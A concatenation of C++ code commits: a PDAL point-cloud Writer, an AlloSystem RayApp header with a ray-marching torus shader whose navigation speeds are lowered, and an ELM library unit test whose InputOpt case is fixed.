void Writer::setUserCallback(UserCallback* userCallback)
{
m_userCallback = userCallback;
}
UserCallback* Writer::getUserCallback() const
{
return m_userCallback;
}
static void do_callback(double perc, UserCallback* callback)
{
if (!callback) return;
bool ok = callback->check(perc);
if (!ok)
{
throw pipeline_interrupt("user requested interrupt");
}
return;
}
static void do_callback(boost::uint64_t pointsWritten, boost::uint64_t pointsToWrite, UserCallback* callback)
{
if (!callback) return;
bool ok = false;
if (pointsToWrite == 0)
{
ok = callback->check();
}
else
{
double perc = ((double)pointsWritten / (double)pointsToWrite) * 100.0;
ok = callback->check(perc);
}
if (!ok)
{
throw pipeline_interrupt("user requested interrupt");
}
return;
}
boost::uint64_t Writer::write(boost::uint64_t targetNumPointsToWrite)
{
if (!isInitialized())
{
throw pdal_error("stage not initialized");
}
boost::uint64_t actualNumPointsWritten = 0;
UserCallback* callback = getUserCallback();
do_callback(0.0, callback);
boost::scoped_ptr<StageSequentialIterator> iter(getPrevStage().createSequentialIterator());
if (!iter) throw pdal_error("Unable to obtain iterator from previous stage!");
// if we don't have an SRS, try to forward the one from the prev stage
if (m_spatialReference.empty()) m_spatialReference = getPrevStage().getSpatialReference();
writeBegin(targetNumPointsToWrite);
iter->readBegin();
const Schema& schema = getPrevStage().getSchema();
PointBuffer buffer(schema, m_chunkSize);
//
// The user has requested a specific number of points: proceed a
// chunk at a time until we reach that number. (If that number
// is 0, we proceed until no more points can be read.)
//
// If the user requests an interrupt while we're running, we'll throw.
//
while (true)
{
// have we hit the end already?
if (iter->atEnd()) break;
// rebuild our PointBuffer, if it needs to hold less than the default max chunk size
if (targetNumPointsToWrite != 0)
{
const boost::uint64_t numRemainingPointsToRead = targetNumPointsToWrite - actualNumPointsWritten;
const boost::uint64_t numPointsToReadThisChunk64 = std::min<boost::uint64_t>(numRemainingPointsToRead, m_chunkSize);
// this case is safe because m_chunkSize is a uint32
const boost::uint32_t numPointsToReadThisChunk = static_cast<boost::uint32_t>(numPointsToReadThisChunk64);
// we are reusing the buffer, so we may need to adjust the capacity for the last (and likely undersized) chunk
if (buffer.getCapacity() != numPointsToReadThisChunk)
{
// Use the PointBuffer's schema in case the schema changed
buffer = PointBuffer(buffer.getSchema(), numPointsToReadThisChunk);
}
}
// read...
iter->readBufferBegin(buffer);
const boost::uint32_t numPointsReadThisChunk = iter->readBuffer(buffer);
iter->readBufferEnd(buffer);
assert(numPointsReadThisChunk == buffer.getNumPoints());
assert(numPointsReadThisChunk <= buffer.getCapacity());
// have we reached the end yet?
if (numPointsReadThisChunk == 0) break;
// write...
writeBufferBegin(buffer);
const boost::uint32_t numPointsWrittenThisChunk = writeBuffer(buffer);
assert(numPointsWrittenThisChunk == numPointsReadThisChunk);
writeBufferEnd(buffer);
// update count
actualNumPointsWritten += numPointsWrittenThisChunk;
do_callback(actualNumPointsWritten, targetNumPointsToWrite, callback);
if (targetNumPointsToWrite != 0)
{
// have we done enough yet?
if (actualNumPointsWritten >= targetNumPointsToWrite) break;
}
// reset the buffer, so we can use it again
buffer.setNumPoints(0);
}
iter->readEnd();
writeEnd(actualNumPointsWritten);
assert((targetNumPointsToWrite == 0) || (actualNumPointsWritten <= targetNumPointsToWrite));
do_callback(100.0, callback);
return actualNumPointsWritten;
}
boost::property_tree::ptree Writer::serializePipeline() const
{
boost::property_tree::ptree tree;
tree.add("<xmlattr>.type", getName());
PipelineWriter::write_option_ptree(tree, getOptions());
const Stage& stage = getPrevStage();
boost::property_tree::ptree subtree = stage.serializePipeline();
tree.add_child(subtree.begin()->first, subtree.begin()->second);
boost::property_tree::ptree root;
root.add_child("Writer", tree);
return root;
}
boost::property_tree::ptree Writer::toPTree() const
{
boost::property_tree::ptree tree = StageBase::toPTree();
// (nothing to add for a Writer)
return tree;
}
} // namespace pdal
<|endoftext|>
|
<commit_before>#ifndef AL_RAYAPP_H
#define AL_RAYAPP_H
#include "allocore/al_Allocore.hpp"
#include "allocore/io/al_Window.hpp"
#include "allocore/protocol/al_OSC.hpp"
#include "alloutil/al_FPS.hpp"
#include "alloutil/al_RayStereo.hpp"
#include "alloutil/al_ShaderManager.hpp"
#define PORT_TO_DEVICE_SERVER (12000)
#define PORT_FROM_DEVICE_SERVER (PORT_TO_DEVICE_SERVER + 1)
#define DEVICE_SERVER_IP_ADDRESS "BOSSANOVA"
namespace al {
class RayApp : public Window,
public FPS,
public osc::PacketHandler {
public:
RayApp(std::string name = "rayapp", bool slave=false, unsigned int recvPort=PORT_FROM_DEVICE_SERVER);
virtual ~RayApp();
void start();
virtual bool onCreate();
virtual bool onDestroy();
virtual bool onFrame();
virtual void onDraw(Graphics& gl) {}
virtual void onAnimate(al_sec dt) {}
virtual void onSound(AudioIOData& io) {}
virtual void onMessage(osc::Message& m);
void initWindow(const Window::Dim& dims = Window::Dim(800, 600),
const std::string title = "RayApp",
double fps = 60,
Window::DisplayMode mode = Window::DEFAULT_BUF);
void initAudio(double audioRate=44100,
int audioBlockSize=256);
void initAudio(std::string devicename,
double audioRate,
int audioBlockSize,
int audioInputs,
int audioOutputs);
const Graphics& graphics() const { return mGraphics; }
Graphics& graphics(){ return mGraphics; }
const AudioIO& audioIO() const { return mAudioIO; }
AudioIO& audioIO(){ return mAudioIO; }
const Lens& lens() const { return mLens; }
Lens& lens() { return mLens; }
const Nav& nav() const { return mNav; }
Nav& nav() { return mNav; }
RayStereo& omni() { return mOmni; }
void initOmni(std::string path = "");
bool omniEnable() const { return bOmniEnable; }
void omniEnable(bool b) { bOmniEnable = b; }
ShaderManager& sm() { return mShaderManager; }
virtual void initShader();
virtual void loadShaders();
virtual void sendUniforms(ShaderProgram* shaderProgram);
const std::string& hostName() const { return mHostName; }
const std::string& name() const { return mName; }
RayApp& name(const std::string& v) { mName=v; return *this; }
osc::Recv& oscRecv(){ return mOSCRecv; }
osc::Send& oscSend(){ return mOSCSend; }
void sendHandshake();
void sendDisconnect();
virtual std::string vertexCode();
virtual std::string fragmentCode();
protected:
AudioIO mAudioIO;
RayStereo mOmni;
Lens mLens;
Graphics mGraphics;
ShaderManager mShaderManager;
// control
Nav mNav;
NavInputControl mNavControl;
StandardWindowKeyControls mStdControls;
double mNavSpeed, mNavTurnSpeed;
osc::Recv mOSCRecv;
osc::Send mOSCSend;
std::string mName;
std::string mHostName;
bool bOmniEnable, bSlave, bShaderLoaded;
static void AppAudioCB(AudioIOData& io);
};
// INLINE IMPLEMENTATION //
inline RayApp::RayApp(std::string name, bool slave, unsigned int recvPort)
: mNavControl(mNav),
mOSCRecv(recvPort),
mOSCSend(PORT_TO_DEVICE_SERVER, DEVICE_SERVER_IP_ADDRESS),
bSlave(slave),
mOmni(2048)
{
bOmniEnable = true;
bShaderLoaded = false;
mHostName = Socket::hostName();
mName = name;
mNavSpeed = 0.1;
mNavTurnSpeed = 0.02;
// default for omniapp: lens().near(0.01).far(40).eyeSep(0.03);
// default for brain: lens().near(0.03).far(100).fovy(73.5).eyeSep(-0.02);
lens().near(0.1).far(100).eyeSep(0.001);
nav().smooth(0.8);
Window::append(mStdControls);
initWindow();
initOmni();
if (!bSlave) {
Window::append(mNavControl);
initAudio();
oscRecv().bufferSize(32000);
oscRecv().handler(*this);
sendHandshake();
}
}
inline RayApp::~RayApp() {
if (!bSlave) sendDisconnect();
}
inline void RayApp::initWindow(const Window::Dim& dims,
const std::string title,
double fps,
Window::DisplayMode mode) {
Window::dimensions(dims);
Window::title(title);
Window::fps(fps);
Window::displayMode(mode);
}
inline void RayApp::initOmni(std::string path) {
printf("Searching for config file..\n");
omni().loadConfig(path, mHostName);
}
inline void RayApp::initAudio(double audioRate, int audioBlockSize) {
audioIO().callback = AppAudioCB;
audioIO().user(this);
audioIO().framesPerSecond(audioRate);
audioIO().framesPerBuffer(audioBlockSize);
}
inline void RayApp::initAudio(std::string devicename,
double audioRate,
int audioBlockSize,
int audioInputs,
int audioOutputs) {
AudioDevice indev(devicename, AudioDevice::INPUT);
AudioDevice outdev(devicename, AudioDevice::OUTPUT);
indev.print();
outdev.print();
audioIO().deviceIn(indev);
audioIO().deviceOut(outdev);
audioIO().channelsOut(audioOutputs);
audioIO().channelsIn(audioInputs);
initAudio(audioRate, audioBlockSize);
}
inline void RayApp::sendHandshake() {
oscSend().send("/handshake", name(), oscRecv().port());
}
inline void RayApp::sendDisconnect() {
oscSend().send("/disconnectApplication", name());
}
inline void RayApp::start() {
if (omni().activeStereo()) {
Window::displayMode(Window::displayMode() | Window::STEREO_BUF);
}
create();
if (omni().fullScreen()) {
fullScreen(true);
cursorHide(true);
}
if (!bSlave) {
if (oscSend().opened()) sendHandshake();
audioIO().start();
}
Main::get().start();
}
inline bool RayApp::onCreate() {
omni().onCreate();
return true;
}
inline bool RayApp::onDestroy() {
sm().destroy();
return true;
}
inline void RayApp::loadShaders(){
std::cout << "loading Shaders" << std::endl;
sm().vertLibCode = "#version 120\n";
sm().addShaderString("default", vertexCode(), fragmentCode());
}
// for initializing parameters before compiling shader
inline void RayApp::initShader() {
}
// basic uniforms used in the shader. override it on user code
inline void RayApp::sendUniforms(ShaderProgram* shaderProgram) {
}
inline bool RayApp::onFrame() {
if(!bShaderLoaded) {
initShader();
loadShaders();
bShaderLoaded = true;
}
if(sm().poll()) loadShaders();
FPS::onFrame();
if(frame % 60 == 0) {
printf("FPS: %03.6f\n", FPS::fps());
// nav().print();
}
while(oscRecv().recv()) {}
nav().step();
onAnimate(dt);
onDraw(graphics());
return true;
}
inline void RayApp::onMessage(osc::Message& m) {
float x;
if (m.addressPattern() == "/mx") {
m >> x;
nav().moveR(-x * mNavSpeed);
} else if (m.addressPattern() == "/my") {
m >> x;
nav().moveU(x * mNavSpeed);
} else if (m.addressPattern() == "/mz") {
m >> x;
nav().moveF(x * mNavSpeed);
} else if (m.addressPattern() == "/tx") {
m >> x;
nav().spinR(x * -mNavTurnSpeed);
} else if (m.addressPattern() == "/ty") {
m >> x;
nav().spinU(x * mNavTurnSpeed);
} else if (m.addressPattern() == "/tz") {
m >> x;
nav().spinF(x * -mNavTurnSpeed);
} else if (m.addressPattern() == "/home") {
nav().home();
} else if (m.addressPattern() == "/halt") {
nav().halt();
}
}
inline std::string RayApp::vertexCode() {
return R"(
varying vec2 T;
void main(void) {
// pass through the texture coordinate (normalized pixel):
T = vec2(gl_MultiTexCoord0);
gl_Position = vec4(T*2.-1., 0, 1);
}
)";
}
inline std::string RayApp::fragmentCode() {
return R"(
uniform sampler2D pixelMap;
uniform sampler2D alphaMap;
uniform vec4 quat;
uniform vec3 pos;
uniform float eyesep;
varying vec2 T;
float accuracy = 1e-3;
float stepsize = 0.02;
float maxval = 10.0;
float normalEps = 1e-5;
// q must be a normalized quaternion
vec3 quat_rotate(in vec4 q, in vec3 v) {
// return quat_mul(quat_mul(q, vec4(v, 0)), quat_conj(q)).xyz;
// reduced:
vec4 p = vec4(
q.w*v.x + q.y*v.z - q.z*v.y, // x
q.w*v.y + q.z*v.x - q.x*v.z, // y
q.w*v.z + q.x*v.y - q.y*v.x, // z
-q.x*v.x - q.y*v.y - q.z*v.z // w
);
return vec3(
-p.w*q.x + p.x*q.w - p.y*q.z + p.z*q.y, // x
-p.w*q.y + p.y*q.w - p.z*q.x + p.x*q.z, // y
-p.w*q.z + p.z*q.w - p.x*q.y + p.y*q.x // z
);
}
float evalAt(vec3 at) {
// A torus. To be used with ray marching.
// See http://www.freigeist.cc/gallery.html .
float R = 1.0;
float r = 0.5;
R *= R;
r *= r;
float t = dot(at, at) + R - r;
return t * t - 4.0 * R * dot(at.xy, at.xy);
}
bool findIntersection(in vec3 orig, in vec3 dir, inout vec3 hitpoint, inout vec3 normal) {
// Raymarching with fixed initial step size and final bisection.
// The object has to define evalAt().
float cstep = stepsize;
float alpha = cstep;
vec3 at = orig + alpha * dir;
float val = evalAt(at);
bool sit = (val < 0.0);
alpha += cstep;
bool sitStart = sit;
while (alpha < maxval)
{
at = orig + alpha * dir;
val = evalAt(at);
sit = (val < 0.0);
// Situation changed, start bisection.
if (sit != sitStart)
{
float a1 = alpha - stepsize;
while (cstep > accuracy)
{
cstep *= 0.5;
alpha = a1 + cstep;
at = orig + alpha * dir;
val = evalAt(at);
sit = (val < 0.0);
if (sit == sitStart)
a1 = alpha;
}
hitpoint = at;
// Finite difference thing. :)
normal.x = evalAt(at + vec3(normalEps, 0, 0));
normal.y = evalAt(at + vec3(0, normalEps, 0));
normal.z = evalAt(at + vec3(0, 0, normalEps));
normal -= val;
normal = normalize(normal);
return true;
}
alpha += cstep;
}
return false;
}
void main(){
vec3 light1 = pos + vec3(1, 2, 3);
vec3 light2 = pos + vec3(2, -3, 1);
vec3 color1 = vec3(0.3, 0.3, 1.0);
vec3 color2 = vec3(0.8, 0.8, 0.3);
vec3 ambient = vec3(0.3, 0.3, 0.3);
// pixel location (calibration space):
vec3 v = normalize(texture2D(pixelMap, T).rgb);
// ray direction (world space);
vec3 rd = quat_rotate(quat, v);
// stereo offset:
// should reduce to zero as the nv becomes close to (0, 1, 0)
// take the vector of nv in the XZ plane
// and rotate it 90' around Y:
vec3 up = vec3(0, 1, 0);
vec3 rdx = cross(normalize(rd), up);
//vec3 rdx = projection_on_plane(rd, up);
vec3 eye = rdx * eyesep;// * 0.02;
// ray origin (world space)
vec3 ro = pos + eye;
// initial eye-ray to find object intersection:
float mindt = 0.01; // how close to a surface we can get
float mint = mindt;
float maxt = 50.;
float t=mint;
float h = maxt;
// find object intersection:
vec3 p = ro + mint*rd;
vec3 normal;
if(!findIntersection(ro, rd, p, normal)) {
t = maxt;
}
// lighting:
vec3 color = vec3(0, 0, 0);
if (t<maxt) {
// compute ray to light source:
vec3 ldir1 = normalize(light1 - p);
vec3 ldir2 = normalize(light2 - p);
// abs for bidirectional surfaces
float ln1 = max(0.,dot(ldir1, normal));
float ln2 = max(0.,dot(ldir2, normal));
color = ambient + color1 * ln1 + color2 * ln2;
}
color *= texture2D(alphaMap, T).rgb;
gl_FragColor = vec4(color, 1);
}
)";
}
inline void RayApp::AppAudioCB(AudioIOData& io){
RayApp& app = io.user<RayApp>();
io.frame(0);
app.onSound(io);
}
}
#endif
<commit_msg>further reduced nav/turn speed<commit_after>#ifndef AL_RAYAPP_H
#define AL_RAYAPP_H
#include "allocore/al_Allocore.hpp"
#include "allocore/io/al_Window.hpp"
#include "allocore/protocol/al_OSC.hpp"
#include "alloutil/al_FPS.hpp"
#include "alloutil/al_RayStereo.hpp"
#include "alloutil/al_ShaderManager.hpp"
#define PORT_TO_DEVICE_SERVER (12000)
#define PORT_FROM_DEVICE_SERVER (PORT_TO_DEVICE_SERVER + 1)
#define DEVICE_SERVER_IP_ADDRESS "BOSSANOVA"
namespace al {
class RayApp : public Window,
public FPS,
public osc::PacketHandler {
public:
RayApp(std::string name = "rayapp", bool slave=false, unsigned int recvPort=PORT_FROM_DEVICE_SERVER);
virtual ~RayApp();
void start();
virtual bool onCreate();
virtual bool onDestroy();
virtual bool onFrame();
virtual void onDraw(Graphics& gl) {}
virtual void onAnimate(al_sec dt) {}
virtual void onSound(AudioIOData& io) {}
virtual void onMessage(osc::Message& m);
void initWindow(const Window::Dim& dims = Window::Dim(800, 600),
const std::string title = "RayApp",
double fps = 60,
Window::DisplayMode mode = Window::DEFAULT_BUF);
void initAudio(double audioRate=44100,
int audioBlockSize=256);
void initAudio(std::string devicename,
double audioRate,
int audioBlockSize,
int audioInputs,
int audioOutputs);
const Graphics& graphics() const { return mGraphics; }
Graphics& graphics(){ return mGraphics; }
const AudioIO& audioIO() const { return mAudioIO; }
AudioIO& audioIO(){ return mAudioIO; }
const Lens& lens() const { return mLens; }
Lens& lens() { return mLens; }
const Nav& nav() const { return mNav; }
Nav& nav() { return mNav; }
RayStereo& omni() { return mOmni; }
void initOmni(std::string path = "");
bool omniEnable() const { return bOmniEnable; }
void omniEnable(bool b) { bOmniEnable = b; }
ShaderManager& sm() { return mShaderManager; }
virtual void initShader();
virtual void loadShaders();
virtual void sendUniforms(ShaderProgram* shaderProgram);
const std::string& hostName() const { return mHostName; }
const std::string& name() const { return mName; }
RayApp& name(const std::string& v) { mName=v; return *this; }
osc::Recv& oscRecv(){ return mOSCRecv; }
osc::Send& oscSend(){ return mOSCSend; }
void sendHandshake();
void sendDisconnect();
virtual std::string vertexCode();
virtual std::string fragmentCode();
protected:
AudioIO mAudioIO;
RayStereo mOmni;
Lens mLens;
Graphics mGraphics;
ShaderManager mShaderManager;
// control
Nav mNav;
NavInputControl mNavControl;
StandardWindowKeyControls mStdControls;
double mNavSpeed, mNavTurnSpeed;
osc::Recv mOSCRecv;
osc::Send mOSCSend;
std::string mName;
std::string mHostName;
bool bOmniEnable, bSlave, bShaderLoaded;
static void AppAudioCB(AudioIOData& io);
};
// INLINE IMPLEMENTATION //
inline RayApp::RayApp(std::string name, bool slave, unsigned int recvPort)
: mNavControl(mNav),
mOSCRecv(recvPort),
mOSCSend(PORT_TO_DEVICE_SERVER, DEVICE_SERVER_IP_ADDRESS),
bSlave(slave),
mOmni(2048)
{
bOmniEnable = true;
bShaderLoaded = false;
mHostName = Socket::hostName();
mName = name;
mNavSpeed = 0.02;
mNavTurnSpeed = 0.005;
// default for omniapp: lens().near(0.01).far(40).eyeSep(0.03);
// default for brain: lens().near(0.03).far(100).fovy(73.5).eyeSep(-0.02);
lens().near(0.1).far(100).eyeSep(0.001);
nav().smooth(0.8);
Window::append(mStdControls);
initWindow();
initOmni();
if (!bSlave) {
Window::append(mNavControl);
initAudio();
oscRecv().bufferSize(32000);
oscRecv().handler(*this);
sendHandshake();
}
}
inline RayApp::~RayApp() {
if (!bSlave) sendDisconnect();
}
inline void RayApp::initWindow(const Window::Dim& dims,
const std::string title,
double fps,
Window::DisplayMode mode) {
Window::dimensions(dims);
Window::title(title);
Window::fps(fps);
Window::displayMode(mode);
}
inline void RayApp::initOmni(std::string path) {
printf("Searching for config file..\n");
omni().loadConfig(path, mHostName);
}
inline void RayApp::initAudio(double audioRate, int audioBlockSize) {
audioIO().callback = AppAudioCB;
audioIO().user(this);
audioIO().framesPerSecond(audioRate);
audioIO().framesPerBuffer(audioBlockSize);
}
inline void RayApp::initAudio(std::string devicename,
double audioRate,
int audioBlockSize,
int audioInputs,
int audioOutputs) {
AudioDevice indev(devicename, AudioDevice::INPUT);
AudioDevice outdev(devicename, AudioDevice::OUTPUT);
indev.print();
outdev.print();
audioIO().deviceIn(indev);
audioIO().deviceOut(outdev);
audioIO().channelsOut(audioOutputs);
audioIO().channelsIn(audioInputs);
initAudio(audioRate, audioBlockSize);
}
inline void RayApp::sendHandshake() {
oscSend().send("/handshake", name(), oscRecv().port());
}
inline void RayApp::sendDisconnect() {
oscSend().send("/disconnectApplication", name());
}
inline void RayApp::start() {
if (omni().activeStereo()) {
Window::displayMode(Window::displayMode() | Window::STEREO_BUF);
}
create();
if (omni().fullScreen()) {
fullScreen(true);
cursorHide(true);
}
if (!bSlave) {
if (oscSend().opened()) sendHandshake();
audioIO().start();
}
Main::get().start();
}
inline bool RayApp::onCreate() {
omni().onCreate();
return true;
}
inline bool RayApp::onDestroy() {
sm().destroy();
return true;
}
inline void RayApp::loadShaders(){
std::cout << "loading Shaders" << std::endl;
sm().vertLibCode = "#version 120\n";
sm().addShaderString("default", vertexCode(), fragmentCode());
}
// for initializing parameters before compiling shader
inline void RayApp::initShader() {
}
// basic uniforms used in the shader. override it on user code
inline void RayApp::sendUniforms(ShaderProgram* shaderProgram) {
}
inline bool RayApp::onFrame() {
if(!bShaderLoaded) {
initShader();
loadShaders();
bShaderLoaded = true;
}
if(sm().poll()) loadShaders();
FPS::onFrame();
if(frame % 60 == 0) {
printf("FPS: %03.6f\n", FPS::fps());
// nav().print();
}
while(oscRecv().recv()) {}
nav().step();
onAnimate(dt);
onDraw(graphics());
return true;
}
inline void RayApp::onMessage(osc::Message& m) {
float x;
if (m.addressPattern() == "/mx") {
m >> x;
nav().moveR(-x * mNavSpeed);
} else if (m.addressPattern() == "/my") {
m >> x;
nav().moveU(x * mNavSpeed);
} else if (m.addressPattern() == "/mz") {
m >> x;
nav().moveF(x * mNavSpeed);
} else if (m.addressPattern() == "/tx") {
m >> x;
nav().spinR(x * -mNavTurnSpeed);
} else if (m.addressPattern() == "/ty") {
m >> x;
nav().spinU(x * mNavTurnSpeed);
} else if (m.addressPattern() == "/tz") {
m >> x;
nav().spinF(x * -mNavTurnSpeed);
} else if (m.addressPattern() == "/home") {
nav().home();
} else if (m.addressPattern() == "/halt") {
nav().halt();
}
}
inline std::string RayApp::vertexCode() {
return R"(
varying vec2 T;
void main(void) {
// pass through the texture coordinate (normalized pixel):
T = vec2(gl_MultiTexCoord0);
gl_Position = vec4(T*2.-1., 0, 1);
}
)";
}
inline std::string RayApp::fragmentCode() {
return R"(
uniform sampler2D pixelMap;
uniform sampler2D alphaMap;
uniform vec4 quat;
uniform vec3 pos;
uniform float eyesep;
varying vec2 T;
float accuracy = 1e-3;
float stepsize = 0.02;
float maxval = 10.0;
float normalEps = 1e-5;
// q must be a normalized quaternion
vec3 quat_rotate(in vec4 q, in vec3 v) {
// return quat_mul(quat_mul(q, vec4(v, 0)), quat_conj(q)).xyz;
// reduced:
vec4 p = vec4(
q.w*v.x + q.y*v.z - q.z*v.y, // x
q.w*v.y + q.z*v.x - q.x*v.z, // y
q.w*v.z + q.x*v.y - q.y*v.x, // z
-q.x*v.x - q.y*v.y - q.z*v.z // w
);
return vec3(
-p.w*q.x + p.x*q.w - p.y*q.z + p.z*q.y, // x
-p.w*q.y + p.y*q.w - p.z*q.x + p.x*q.z, // y
-p.w*q.z + p.z*q.w - p.x*q.y + p.y*q.x // z
);
}
float evalAt(vec3 at) {
// A torus. To be used with ray marching.
// See http://www.freigeist.cc/gallery.html .
float R = 1.0;
float r = 0.5;
R *= R;
r *= r;
float t = dot(at, at) + R - r;
return t * t - 4.0 * R * dot(at.xy, at.xy);
}
bool findIntersection(in vec3 orig, in vec3 dir, inout vec3 hitpoint, inout vec3 normal) {
// Raymarching with fixed initial step size and final bisection.
// The object has to define evalAt().
float cstep = stepsize;
float alpha = cstep;
vec3 at = orig + alpha * dir;
float val = evalAt(at);
bool sit = (val < 0.0);
alpha += cstep;
bool sitStart = sit;
while (alpha < maxval)
{
at = orig + alpha * dir;
val = evalAt(at);
sit = (val < 0.0);
// Situation changed, start bisection.
if (sit != sitStart)
{
float a1 = alpha - stepsize;
while (cstep > accuracy)
{
cstep *= 0.5;
alpha = a1 + cstep;
at = orig + alpha * dir;
val = evalAt(at);
sit = (val < 0.0);
if (sit == sitStart)
a1 = alpha;
}
hitpoint = at;
// Finite difference thing. :)
normal.x = evalAt(at + vec3(normalEps, 0, 0));
normal.y = evalAt(at + vec3(0, normalEps, 0));
normal.z = evalAt(at + vec3(0, 0, normalEps));
normal -= val;
normal = normalize(normal);
return true;
}
alpha += cstep;
}
return false;
}
void main(){
vec3 light1 = pos + vec3(1, 2, 3);
vec3 light2 = pos + vec3(2, -3, 1);
vec3 color1 = vec3(0.3, 0.3, 1.0);
vec3 color2 = vec3(0.8, 0.8, 0.3);
vec3 ambient = vec3(0.3, 0.3, 0.3);
// pixel location (calibration space):
vec3 v = normalize(texture2D(pixelMap, T).rgb);
// ray direction (world space);
vec3 rd = quat_rotate(quat, v);
// stereo offset:
// should reduce to zero as the nv becomes close to (0, 1, 0)
// take the vector of nv in the XZ plane
// and rotate it 90' around Y:
vec3 up = vec3(0, 1, 0);
vec3 rdx = cross(normalize(rd), up);
//vec3 rdx = projection_on_plane(rd, up);
vec3 eye = rdx * eyesep;// * 0.02;
// ray origin (world space)
vec3 ro = pos + eye;
// initial eye-ray to find object intersection:
float mindt = 0.01; // how close to a surface we can get
float mint = mindt;
float maxt = 50.;
float t=mint;
float h = maxt;
// find object intersection:
vec3 p = ro + mint*rd;
vec3 normal;
if(!findIntersection(ro, rd, p, normal)) {
t = maxt;
}
// lighting:
vec3 color = vec3(0, 0, 0);
if (t<maxt) {
// compute ray to light source:
vec3 ldir1 = normalize(light1 - p);
vec3 ldir2 = normalize(light2 - p);
// abs for bidirectional surfaces
float ln1 = max(0.,dot(ldir1, normal));
float ln2 = max(0.,dot(ldir2, normal));
color = ambient + color1 * ln1 + color2 * ln2;
}
color *= texture2D(alphaMap, T).rgb;
gl_FragColor = vec4(color, 1);
}
)";
}
inline void RayApp::AppAudioCB(AudioIOData& io){
RayApp& app = io.user<RayApp>();
io.frame(0);
app.onSound(io);
}
}
#endif
<|endoftext|>
|
<commit_before>/*M///////////////////////////////////////////////////////////////////////////////////////
//
// Copyright (c) 2015, Youssef Kashef
// Copyright (c) 2015, ELM Library Project
// 3-clause BSD License
//
//M*/
#include "elm/core/layerconfig.h"
#include "gtest/gtest.h"
#include "elm/core/exception.h"
#include "elm/core/inputname.h"
using namespace std;
using namespace elm;
class LayerIONamesTest : public testing::Test
{
protected:
virtual void SetUp()
{
to_ = LayerIONames();
}
LayerIONames to_; ///< test object
};
TEST_F(LayerIONamesTest, Input) {
to_.Input("k1", "n1");
to_.Input("k2", "n2");
to_.Input("k2", "n22");
EXPECT_EQ("n1", to_.Input("k1").to_string());
EXPECT_EQ("n22", to_.Input("k2").to_string());
EXPECT_THROW(to_.Output("k1"), ExceptionKeyError) << "Output mixing with input";
EXPECT_THROW(to_.Output("k2"), ExceptionKeyError) << "Output mixing with input";
}
TEST_F(LayerIONamesTest, Input_WrongKey) {
EXPECT_THROW(to_.Input("k1"), ExceptionKeyError);
to_.Input("k1", "n1");
EXPECT_EQ("n1", to_.Input("k1").to_string());
}
TEST_F(LayerIONamesTest, InputOpt) {
EXPECT_THROW(to_.Input("k1"), ExceptionKeyError);
to_.Output("k1", "n1");
EXPECT_TRUE(to_.InputOpt("k1") != 0);
EXPECT_EQ("n1", to_.InputOpt("k1").get());
EXPECT_THROW(to_.Input("k2"), ExceptionKeyError);
EXPECT_FALSE(to_.InputOpt("k2"));
}
TEST_F(LayerIONamesTest, Output) {
to_.Output("k1", "n1");
to_.Output("k2", "n2");
to_.Output("k2", "n22");
EXPECT_EQ("n1", to_.Output("k1"));
EXPECT_EQ("n22", to_.Output("k2"));
EXPECT_THROW(to_.Input("k1"), ExceptionKeyError) << "Output mixing with input";
EXPECT_THROW(to_.Input("k2"), ExceptionKeyError) << "Output mixing with input";
}
TEST_F(LayerIONamesTest, Output_WrongKey) {
EXPECT_THROW(to_.Output("k1"), ExceptionKeyError);
to_.Output("k1", "n1");
EXPECT_EQ("n1", to_.Output("k1"));
}
TEST_F(LayerIONamesTest, OutputOpt) {
EXPECT_THROW(to_.Output("k1"), ExceptionKeyError);
to_.Output("k1", "n1");
EXPECT_TRUE(to_.OutputOpt("k1") != 0);
EXPECT_EQ("n1", to_.OutputOpt("k1").get());
EXPECT_THROW(to_.Output("k2"), ExceptionKeyError);
EXPECT_FALSE(to_.OutputOpt("k2"));
}
<commit_msg>fix InputOpt test fixture<commit_after>/*M///////////////////////////////////////////////////////////////////////////////////////
//
// Copyright (c) 2015, Youssef Kashef
// Copyright (c) 2015, ELM Library Project
// 3-clause BSD License
//
//M*/
#include "elm/core/layerconfig.h"
#include "gtest/gtest.h"
#include "elm/core/exception.h"
#include "elm/core/inputname.h"
using namespace std;
using namespace elm;
class LayerIONamesTest : public testing::Test
{
protected:
virtual void SetUp()
{
to_ = LayerIONames();
}
LayerIONames to_; ///< test object
};
TEST_F(LayerIONamesTest, Input) {
to_.Input("k1", "n1");
to_.Input("k2", "n2");
to_.Input("k2", "n22");
EXPECT_EQ("n1", to_.Input("k1").to_string());
EXPECT_EQ("n22", to_.Input("k2").to_string());
EXPECT_THROW(to_.Output("k1"), ExceptionKeyError) << "Output mixing with input";
EXPECT_THROW(to_.Output("k2"), ExceptionKeyError) << "Output mixing with input";
}
TEST_F(LayerIONamesTest, Input_WrongKey) {
EXPECT_THROW(to_.Input("k1"), ExceptionKeyError);
to_.Input("k1", "n1");
EXPECT_EQ("n1", to_.Input("k1").to_string());
}
TEST_F(LayerIONamesTest, InputOpt) {
EXPECT_THROW(to_.Input("k1"), ExceptionKeyError);
EXPECT_FALSE(bool(to_.InputOpt("k1")));
to_.Input("k1", "n1");
EXPECT_TRUE(bool(to_.InputOpt("k1")));
EXPECT_EQ("n1", to_.InputOpt("k1").get());
EXPECT_THROW(to_.Input("k2"), ExceptionKeyError);
EXPECT_FALSE(to_.InputOpt("k2"));
}
TEST_F(LayerIONamesTest, Output) {
to_.Output("k1", "n1");
to_.Output("k2", "n2");
to_.Output("k2", "n22");
EXPECT_EQ("n1", to_.Output("k1"));
EXPECT_EQ("n22", to_.Output("k2"));
EXPECT_THROW(to_.Input("k1"), ExceptionKeyError) << "Output mixing with input";
EXPECT_THROW(to_.Input("k2"), ExceptionKeyError) << "Output mixing with input";
}
TEST_F(LayerIONamesTest, Output_WrongKey) {
EXPECT_THROW(to_.Output("k1"), ExceptionKeyError);
to_.Output("k1", "n1");
EXPECT_EQ("n1", to_.Output("k1"));
}
TEST_F(LayerIONamesTest, OutputOpt) {
EXPECT_THROW(to_.Output("k1"), ExceptionKeyError);
to_.Output("k1", "n1");
EXPECT_TRUE(to_.OutputOpt("k1") != 0);
EXPECT_EQ("n1", to_.OutputOpt("k1").get());
EXPECT_THROW(to_.Output("k2"), ExceptionKeyError);
EXPECT_FALSE(to_.OutputOpt("k2"));
}
<|endoftext|>
|
<commit_before>/*M///////////////////////////////////////////////////////////////////////////////////////
//
// Copyright (c) 2015, Youssef Kashef
// Copyright (c) 2015, ELM Library Project
// 3-clause BSD License
//
//M*/
#include "elm/layers/medianblur.h"
#include <memory>
#include "elm/core/debug_utils.h"
#include "elm/core/exception.h"
#include "elm/core/layerconfig.h"
#include "elm/core/percentile.h"
#include "elm/core/signal.h"
